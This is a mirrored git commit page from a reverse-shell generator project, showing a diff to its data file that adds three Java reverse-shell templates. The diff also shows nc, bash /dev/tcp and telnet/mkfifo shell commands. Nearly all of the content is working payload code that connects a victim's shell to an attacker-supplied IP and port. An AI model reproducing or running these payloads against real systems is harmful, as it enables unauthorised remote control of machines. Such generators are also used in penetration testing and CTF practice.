mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-19 01:08:50 +00:00
Merge pull request #66 from Hydragyrum/feature/add-java-shells
Clean up and add a few Java reverse shells
This commit is contained in:
commit
2a5c428bb0
14
js/data.js
14
js/data.js
@ -248,11 +248,21 @@ const reverseShellCommands = withCommandType(
|
||||
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
{
|
||||
"name": "Java #1",
|
||||
"command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Java #2",
|
||||
"command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Java #3",
|
||||
"command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n public static void main(String[] args) {\n String host = \"{ip}\";\n int port = {port};\n String cmd = \"{shell}\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {}\n }\n p.destroy();\n s.close();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["windows", "linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "telnet",
|
||||
"command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF",
|
||||
|
Loading…
Reference in New Issue
Block a user